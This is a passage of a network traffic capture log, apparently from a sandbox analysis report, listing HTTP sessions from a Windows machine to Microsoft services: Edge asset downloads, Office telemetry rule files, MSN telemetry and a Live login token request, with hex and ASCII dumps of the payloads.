87	192.168.2.5	62105	13.107.246.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:27 UTC	516	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 8e3825e9-301e-004d-73d9-3aaee5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T231927Z-r1d97b9957747b9jhC1TEBgyec000000081000000000nr6e Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	62106	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-185f5d8b95c95vpshC1NYC759c00000009gg0000000000qf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	62107	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-1777c6cb754g9zd5hC1TEBfvpw00000008zg000000001xv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	62108	20.189.173.10	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732058365937&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9664 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1; msnup=
2024-11-19 23:19:27 UTC	9664	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 39 54 32 33 3a 31 39 3a 32 35 2e 39 33 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 61 64 66 30 32 38 66 2d 38 39 32 37 2d 34 33 37 62 2d 39 37 61 64 2d 30 32 65 31 38 33 63 35 66 37 32 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 38 32 36 30 38 34 35 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-19T23:19:25.936Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"2adf028f-8927-437b-97ad-02e183c5f722","epoch":"2882608450"},"app":{"loc
2024-11-19 23:19:27 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=127e515130e54341966e3dd1135994c6&HASH=127e&LV=202411&V=4&LU=1732058367557; Domain=.microsoft.com; Expires=Wed, 19 Nov 2025 23:19:27 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d49de9dc4b9d4afba88be6bb5bfbb421; Domain=.microsoft.com; Expires=Tue, 19 Nov 2024 23:49:27 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1620 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 19 Nov 2024 23:19:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	62111	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-r1d97b99577n4dznhC1TEBc1qw00000007z000000000k6hd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	62110	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-185f5d8b95csd4bwhC1NYCq7dc00000009ag00000000c0vp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	62112	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-r1d97b99577l6wbzhC1TEB3fwn000000082000000000hr01 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	62113	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-r1d97b99577656nchC1TEBk98c0000000850000000002vfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	62114	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-19 23:19:28 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:28 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_SN1 x-ms-request-id: b22294cc-e68a-45ec-8259-04ce16768d97 PPServer: PPV: 30 H: SN1PEPF0002F1B5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:28 GMT Connection: close Content-Length: 11389
2024-11-19 23:19:28 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	62115	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:28 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231928Z-1777c6cb754mrj2shC1TEB6k7w0000000900000000000qc3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	62116	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:28 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
